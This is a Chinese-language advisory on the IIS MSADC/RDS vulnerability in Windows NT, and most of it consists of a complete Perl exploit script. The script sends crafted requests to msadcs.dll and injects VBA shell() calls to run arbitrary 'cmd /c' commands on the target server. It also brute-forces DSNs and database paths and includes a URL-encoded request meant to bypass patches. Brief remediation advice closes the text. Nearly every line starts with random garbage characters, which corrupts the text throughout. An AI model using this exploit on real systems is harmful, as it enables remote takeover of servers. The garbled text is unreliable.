IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&pRREu:[4L UVP vOtZj 涉及程序：
UfGkTwoo= Microsoft NT server
29Ki uP XwmL.Gg:]7 描述：
+whDU 2 " 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
q 1,~ py4 h(04u 详细：
Xhm
c6? 如果你没有时间读详细内容的话，就删除:
KPF1cJ2N c:\Program Files\Common Files\System\Msadc\msadcs.dll
SU0
hma8 有关的安全问题就没有了。
xp t:BB o S c0w.5m6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
(HVGlw'` X8|, 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
.]^?<bG 关于利用ODBC远程漏洞的描述，请参看:
ueud Rb G[=c
Ss, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pP_LR
ks} O-^Ma- } 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
t_^4`dW` http://www.microsoft.com/security/bulletins/MS99-025faq.asp C]6O!Pb0 ~ }P,.QQ 这里不再论述。
CTb%(<r ]G\}k 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
AH^/V}9H A"]YM'. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
rp$'L7lrX 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
V`- 9m$ :X=hQ:>P >7| VR:U?B #将下面这段保存为txt文件，然后: "perl -x 文件名"
Ac@VGT :9 s[jTP(d)8 #!perl
uT"rq:N #
K0~rN.C!0 # MSADC/RDS 'usage' (aka exploit) script
9w"*y#_ #
1?}T=)3+$ # by rain.forest.puppy
DQ3< $0 #
d N q$} # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h{Y ",7] ! # beta test and find errors!
D7Z /H'| g dc<ZYcM use Socket; use Getopt::Std;
Xvu(vA getopts("e:vd:h:XR", \%args);
tw;}jh !0+JbZ<%r| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
1M 6D3d_ a(nlTMfu if (!defined $args{h} && !defined $args{R}) {
dd;~K&_Q/i print qq~
W1~0_; Usage: msadc.pl -h <host> { -d <delay> -X -v }
zCZf%ATq -h <host> = host you want to scan (ip or domain)
4RO}<$Nx} -d <seconds> = delay between calls, default 1 second
4s- ! 7 -X = dump Index Server path table, if available
e
,(mR+a8 -v = verbose
sC'` ~}C -e = external dictionary file for step 5
G{}VPcrbC @ JMiO^ Or a -R will resume a command session
C+$#y2"z#n $4L zcwG ~; exit;}
{) XTk &" 79gT+~z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
N8jIMb'< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<~)P7~$d?p if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
';CNGv - if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0mE 0 j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pBHR a?Y5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^qs $v06 t Q)qCk07 if (!defined $args{R}){ $ret = &has_msadc;
_6Sp QW die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B\~}3!j /uf lpV| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Lbgi7| & . "cmd /c ";
.v
K-LHs $in=<STDIN>; chomp $in;
p K*TE5] $command="cmd /c " . $in ;
1EK *g;H dO'(2 J8 if (defined $args{R}) {&load; exit;}
{: /}NpA$ 5m@V#2^P print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?<!| &try_btcustmr;
oH@78D 0A |yCMt:Hk print "\nStep 2: Trying to make our own DSN...";
6k%f &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e~OpofJNb Jy)/%p~ print "\nStep 3: Trying known DSNs...";
O.? JmE &known_dsn;
rI\FI0zIp_ {}9a6.V;}
print "\nStep 4: Trying known .mdbs...";
/~1+i'7V., &known_mdb;
MgZ/ (X E dysS9a, if (defined $args{e}){
%9"H print "\nStep 5: Trying dictionary of DSN names...";
&ZO0r ^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_a, s
) , 1`z"7\W print "Sorry Charley...maybe next time?\n";
OUnA;_ exit;
pa+hL,w{6 :OT& ##############################################################################
M\j.8j G _ q"Gix sub sendraw { # ripped and modded from whisker
c<~H(k'+c sleep($delay); # it's a DoS on the server! At least on mine...
CIWO7bS my ($pstr)=@_;
!
nx{
X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0GL M(JmK die("Socket problems\n");
Gv&V|7-f0 if(connect(S,pack "SnA4x8",2,80,$target)){
P \I|, select(S); $|=1;
Pz7XAcPQ( print $pstr; my @in=<S>;
X$
D6Ey select(STDOUT); close(S);
HS$r8`S?) return @in;
3]hWfj1m2 } else { die("Can't connect...\n"); }}
:FF=a3/"6 ?6!LL5a. ##############################################################################
P}iE+Z 3 8ag!K*\ V< sub make_header { # make the HTTP request
[E_9 V%^ my $msadc=<<EOT
(Ld i|jL POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
bA 2pbjg= User-Agent: ACTIVEDATA
@ Qe0! (_= Host: $ip
btB% [] Content-Length: $clen
9c],<;{' Connection: Keep-Alive
637:
oT_`O 7<4qQ.deE ADCClientVersion:01.06
XW/o<[91 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
cr CJrN= \8tsDG(1 ' --!ADM!ROX!YOUR!WORLD!
H,J8 M{ Content-Type: application/x-varg
l ;U? Z'n Content-Length: $reqlen
tPvp JX6kP "@kaHIf[ EOT
f$( e\+ + ; $msadc=~s/\n/\r\n/g;
6!o1XQr=Z return $msadc;}
hTkyz
la K3C <{ #r ##############################################################################
<@}9Bid!o al0L&z\ sub make_req { # make the RDS request
WIOV2 + my ($switch, $p1, $p2)=@_;
ICCc./l| my $req=""; my $t1, $t2, $query, $dsn;
M5B# TAybC z s;JJk^ if ($switch==1){ # this is the btcustmr.mdb query
[Q TV9 $query="Select * from Customers where City=" . make_shell();
CTK;dM'uQ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*Ex|9FCt$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1 YA% -~ ;S{(]K7i elsif ($switch==2){ # this is general make table query
'-6~tWC~7 $query="create table AZZ (B int, C varchar(10))";
U*: !W=XN $dsn="$p1";}
g0H[*"hj 'qi }| I elsif ($switch==3){ # this is general exploit table query
P>L +t`' $query="select * from AZZ where C=" . make_shell();
<3iMRe $dsn="$p1";}
0(I j%Wi,
)jj0^f1!j elsif ($switch==4){ # attempt to hork file info from index server
49P 4b<1 $query="select path from scope()";
c> af $dsn="Provider=MSIDXS;";}
GILfbN cd }G=M2V<L elsif ($switch==5){ # bad query
9L9sqZUB $query="select";
TC. ,V_ $dsn="$p1";}
C~[,z.FvO )"LJ
hLg $t1= make_unicode($query);
K,]=6 Rj $t2= make_unicode($dsn);
c,22*.V/ $req = "\x02\x00\x03\x00";
g`^ x@rj`E $req.= "\x08\x00" . pack ("S1", length($t1));
=43auFY-P $req.= "\x00\x00" . $t1 ;
@o^Ww $req.= "\x08\x00" . pack ("S1", length($t2));
; jP Xs $req.= "\x00\x00" . $t2 ;
<VcQ{F $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
l0]
EX>"E return $req;}
4 :=]<sc, DlT{` ##############################################################################
2:R+tn(F |}1d Fp sub make_shell { # this makes the shell() statement
hph4 `{T return "'|shell(\"$command\")|'";}
h![#;>( Jwp7gYZ ##############################################################################
P2!C|SLK zX~MC?,W1 sub make_unicode { # quick little function to convert to unicode
l,: F my ($in)=@_; my $out;
Q&&@v4L for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
m* ;E RK return $out;}
v:p} B$ 4YHY7J ##############################################################################
z2c6T.1M DJir { \F sub rdo_success { # checks for RDO return success (this is kludge)
zL it my (@in) = @_; my $base=content_start(@in);
P4?glh q# if($in[$base]=~/multipart\/mixed/){
ddo#P%sH ' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
BHw, 4#F1; return 0;}
-/k 3a*$/ & ~!Wym ##############################################################################
} %z a T<q=DO sub make_dsn { # this makes a DSN for us
"ta x? my @drives=("c","d","e","f");
R3! t$5HG print "\nMaking DSN: ";
r/sNrB1U"y foreach $drive (@drives) {
HThcn1u~^b print "$drive: ";
H-%v3d>3 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
q=G+Tocv "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G`zm@QL . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.2pK.$. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ah<+y\C return 0 if $2 eq "404"; # not found/doesn't exist
$"&JWT!# if($2 eq "200") {
{)"vN(mX foreach $line (@results) {
x pI wrJO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
P$sxr } return 0;}
{T8Kk)L m68*y;# ##############################################################################
V:27)]q S$k&vc(0 sub verify_exists {
+{>=^9%X my ($page)=@_;
K>9 ()XT) my @results=sendraw("GET $page HTTP/1.0\n\n");
fatf*}eln return $results[0];}
>MK98(F 9Ee'Cm ##############################################################################
BD- AI Q^I\cAIB sub try_btcustmr {
a6H%5N my @drives=("c","d","e","f");
,P Z ge my @dirs=("winnt","winnt35","winnt351","win","windows");
BC]?0 U x :7IIvP foreach $dir (@dirs) {
{| \.i print "$dir -> "; # fun status so you can see progress
bi:8(Q$w:` foreach $drive (@drives) {
iOdpM{~* print "$drive: "; # ditto
fQ98(+ 6 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Th[dW< $reqlenlen=length( "$reqlen" );
d"NLE'R $clen= 206 + $reqlenlen + $reqlen;
�{x7, Nluoqo ac my @results=sendraw(make_header() . make_req(1,$drive,$dir));
X@f}Q`{Ymj if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
2[CdZ(k]5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6 r_)sHf mqJ_W [y7 ##############################################################################
/@Zrq#o
zx v3qA":(w+( sub odbc_error {
b6 M my (@in)=@_; my $base;
c)tfAD(N8x my $base = content_start(@in);
\Roz$t-R|f if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
x`?3C"N:< $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4fzZ;2sl} $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d %#b:(, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c(%|: P^ return $in[$base+4].$in[$base+5].$in[$base+6];}
p:%loDk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.~}1+ \~5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'RRE|L, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
}75e:w[ yEoV[K8k ##############################################################################
JCaOK2XT; W%)Y#C sub verbose {
C-[1iW' my ($in)=@_;
tl].r| yl return if !$verbose;
;>YzEo print STDOUT "\n$in\n";}
$g7<Y*t[ ]:f%l
mEy ##############################################################################
6&-(&( _ HmwT ~ sub save {
D0q ":WvE my ($p1, $p2, $p3, $p4)=@_;
W m3X[?V open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9,tej print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*,m; close OUT;}
XrPfotj1 F>cv<l
=6l ##############################################################################
4e1Y/
Xq` ]fD}
^s3G sub load {
8*fv' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:eg4z ) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)Wox Mmz @p=<IN>; close(IN);
.6V} 3q$-@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_l]fkk[T $target= inet_aton($ip) || die("inet_aton problems");
e$pV%5= print "Resuming to $ip ...";
hzRYec( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Gbw2E&a if($p[1]==1) {
* H9 8 Du $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
W];dD$Oqg $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
:h V7>
rr my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
S@Hf
&hJ if (rdo_success(@results)){print "Success!\n";}
2|bn(QYz else { print "failed\n"; verbose(odbc_error(@results));}}
u4_9)P`]0 elsif ($p[1]==3){
g4@ lM"|S if(run_query("$p[3]")){
``Un&-Ms print "Success!\n";} else { print "failed\n"; }}
42{:G8 elsif ($p[1]==4){
; Hd7*`$ if(run_query($drvst . "$p[3]")){
7!$^r$t print "Success!\n"; } else { print "failed\n"; }}
-tNUMi' exit;}
F3N6{ysK# d: {O\ ##############################################################################
e!r-+.i( VQ{f ne< sub create_table {
+'@Dz9:> my ($in)=@_;
l$'wD hN* $reqlen=length( make_req(2,$in,"") ) - 28;
EyLu O-5 $reqlenlen=length( "$reqlen" );
FEVlZ<PW3I $clen= 206 + $reqlenlen + $reqlen;
.% OR3" 9@ my @results=sendraw(make_header() . make_req(2,$in,""));
- R6)ROGl return 1 if rdo_success(@results);
z"4~P3>{g my $temp= odbc_error(@results); verbose($temp);
B X^tR1 return 1 if $temp=~/Table 'AZZ' already exists/;
(3&?w y_l return 0;}
-)/$M(Pu" h65 -s ##############################################################################
-Vhw^T1iV &=k,?TJO> sub known_dsn {
ilva,WFa^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fg{n(TE"8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
X~i<g?] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
hiw|2Y&` "banner", "banners", "ads", "ADCDemo", "ADCTest");
_Y[bMuUb= [ 66! bM& foreach $dSn (@dsns) {
uXq.
]ub print ".";
gl_^V&c next if (!is_access("DSN=$dSn"));
(Clkv if(create_table("DSN=$dSn")){
4 N7^? print "$dSn successful\n";
zkdetrR if(run_query("DSN=$dSn")){
:#~j:C| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+ +# 5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
)tnh4WMh} ?KI, cl ##############################################################################
aoa)BNs F.v{-8GV sub is_access {
1&o|TT/ my ($in)=@_;
UOmY-\ &c $reqlen=length( make_req(5,$in,"") ) - 28;
@oad,=R& $reqlenlen=length( "$reqlen" );
7fX<511( $clen= 206 + $reqlenlen + $reqlen;
63~
E#Dt4 my @results=sendraw(make_header() . make_req(5,$in,""));
9?3&?i2- my $temp= odbc_error(@results);
<V6VMYXY4 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
c:u 5\&~{ return 0;}
uL/ m u< Ji 0
tQV ##############################################################################
FjI`uP ,<p}o\6 sub run_query {
u4|$bbig my ($in)=@_;
y<bDTeoo $reqlen=length( make_req(3,$in,"") ) - 28;
I y3GE[ $reqlenlen=length( "$reqlen" );
(/*]?Ehd $clen= 206 + $reqlenlen + $reqlen;
lo!+f"7ym\ my @results=sendraw(make_header() . make_req(3,$in,""));
dm N&+t return 1 if rdo_success(@results);
AjgF6[ B my $temp= odbc_error(@results); verbose($temp);
[=^3n#WW return 0;}
R+ ,u^;\ mju>>\9 ##############################################################################
LRMx<X8 fe#\TNeQJ[ sub known_mdb {
D+7Rz_= my @drives=("c","d","e","f","g");
q =qcm`ce my @dirs=("winnt","winnt35","winnt351","win","windows");
Mzw X>3x my $dir, $drive, $mdb;
U2~kJ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5RpjN: 3 3 gj+%%!G\ # this is sparse, because I don't know of many
;?g6QIN9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
^Zy% fv, "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
y% b F & "\\system32\\certmdb.mdb",
h.s+)fl\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
S + ^E. e2W".+B1 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
^4Ah_ U "\\cfusion\\cfapps\\forums\\forums_.mdb",
9Ly]DZ;L "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f &wb "\\cfusion\\cfapps\\security\\realm_.mdb",
"{Eta "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\<6C Z "\\cfusion\\database\\cfexamples.mdb",
usL*
x9i "\\cfusion\\database\\cfsnippets.mdb",
,tJ "
5O3- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
'D"C4;X "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
2Jmz( cH% "\\cfusion\\brighttiger\\database\\cleam.mdb",
-n<pPau2 "\\cfusion\\database\\smpolicy.mdb",
;x 1 PS "\\cfusion\\database\cypress.mdb",
; XN{ x "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
:7?FF'u "\\website\\cgi-win\\dbsample.mdb",
qXtC^n@x "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;K &o-y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
W PG(@zD ); #these are just
M*H nM( foreach $drive (@drives) {
f\>M'{cV foreach $dir (@dirs){
"E?2xf|. foreach $mdb (@sysmdbs) {
Hi`//y*92H print ".";
@)&=% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n%s]30Xs print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
"?I y (*^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2WVka print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(<oy N7 NT } else { print "Something's borked. Use verbose next time\n"; }}}}}
?r 2 ` Q L RG6:& foreach $drive (@drives) {
&wE%<"aRAl foreach $mdb (@mdbs) {
o\pVp bB print ".";
2nIw7>.}f if(create_table($drv . $drive . $dir . $mdb)){
J h[UtYb5 print "\n" . $drive . $dir . $mdb . " successful\n";
BC<^a )D= if(run_query($drv . $drive . $dir . $mdb)){
- kwXvYu\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_ T):G6C8 } else { print "Something's borked. Use verbose next time\n"; }}}}
f|lU6EkU }
i`$*T y"x q Xe8K to ##############################################################################
I \JGs@I s '\U ap sub hork_idx {
-f> %+< k= print "\nAttempting to dump Index Server tables...\n";
J@Q7p} print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/j|G(vt5 $reqlen=length( make_req(4,"","") ) - 28;
.:QLk&a,:, $reqlenlen=length( "$reqlen" );
aL&7 1^R, $clen= 206 + $reqlenlen + $reqlen;
H_X [t* 2 my @results=sendraw2(make_header() . make_req(4,"",""));
w{@ o ^rs if (rdo_success(@results)){
xZwLlY my $max=@results; my $c; my %d;
hUMf"=q+ for($c=19; $c<$max; $c++){
% pd ,%pg $results[$c]=~s/\x00//g;
Z>W g*sZy) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4 bH^":i( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
pF Rg?- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y)!5R 3b $d{"$1$2"}="";}
$ ,}E foreach $c (keys %d){ print "$c\n"; }
5 VAK:eB } else {print "Index server doesn't seem to be installed.\n"; }}
t+iHQfuP9A 9 !}8UALD ##############################################################################
$!yW_HTx 1@1U/ss1 sub dsn_dict {
=i*;VFc open(IN, "<$args{e}") || die("Can't open external dictionary\n");
]4]6Qki while(<IN>){
%)I{%~u0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
h*$y[}hDuv next if (!is_access("DSN=$dSn"));
b8SHg^} if(create_table("DSN=$dSn")){
AKyUfAj3 print "$dSn successful\n";
a (b# if(run_query("DSN=$dSn")){
lqZ 5?BD1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
m?fy^>1
print "Something's borked. Use verbose next time\n";}}}
ZR?yDgL print "\n"; close(IN);}
)PuFuf(wz ?>rW>U6:P ##############################################################################
~W+kiTsD? j=aI 9p sub sendraw2 { # ripped and modded from whisker
DLMM/WJg@ sleep($delay); # it's a DoS on the server! At least on mine...
uIZ -#q my ($pstr)=@_;
o`P %& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y
M\ K%rk die("Socket problems\n");
Ksj -zR; if(connect(S,pack "SnA4x8",2,80,$target)){
z'\_jaj^ print "Connected. Getting data";
( _)jkI
\ open(OUT,">raw.out"); my @in;
\BZhf?9U select(S); $|=1; print $pstr;
S(8$S])0 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
a$" Hvrj close(OUT); select(STDOUT); close(S); return @in;
]?
g@jRs } else { die("Can't connect...\n"); }}
g/+C@_&m 4^~(Mh- Mw ##############################################################################
OFv%B/O TQ*1L:X7M& sub content_start { # this will take in the server headers
^_u kLzP9 my (@in)=@_; my $c;
48qV >Gwf for ($c=1;$c<500;$c++) {
&c:Ad%
z if($in[$c] =~/^\x0d\x0a/){
M
.JoHH if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
sy"^?th}b else { return $c+1; }}}
u\{ g(li-I return -1;} # it should never get here actually
=L:4i\4 2h1C9n%j9 ##############################################################################
87P>IO +hT:2TXn sub funky {
)oPLl|=h my (@in)=@_; my $error=odbc_error(@in);
ruzspS if($error=~/ADO could not find the specified provider/){
3? 7\ T#= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
L=8<B=QT$ exit;}
U`d5vEhT if($error=~/A Handler is required/){
27"%"P. 1 print "\nServer has custom handler filters (they most likely are patched)\n";
"C SC exit;}
B$!)YD; if($error=~/specified Handler has denied Access/){
V'T ,4 print "\nServer has custom handler filters (they most likely are patched)\n";
7=WT69,& exit;}}
(>GK \=:< `[)YEg s ##############################################################################
%i-c0|,T4 _m'Fr
7 sub has_msadc {
r{ef .^&: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~ZhraSI) G my $base=content_start(@results);
hKjt'N:~ZY return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
s6zNV4 return 0;}
"a"]o -VTkG]{`Ir ########################
'BPp ]R#{ 7MHKeLq &LVn6zAba 解决方案：
j eX^}]x|% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k_q0Q;6w!l 2、移除web 目录: /msadc
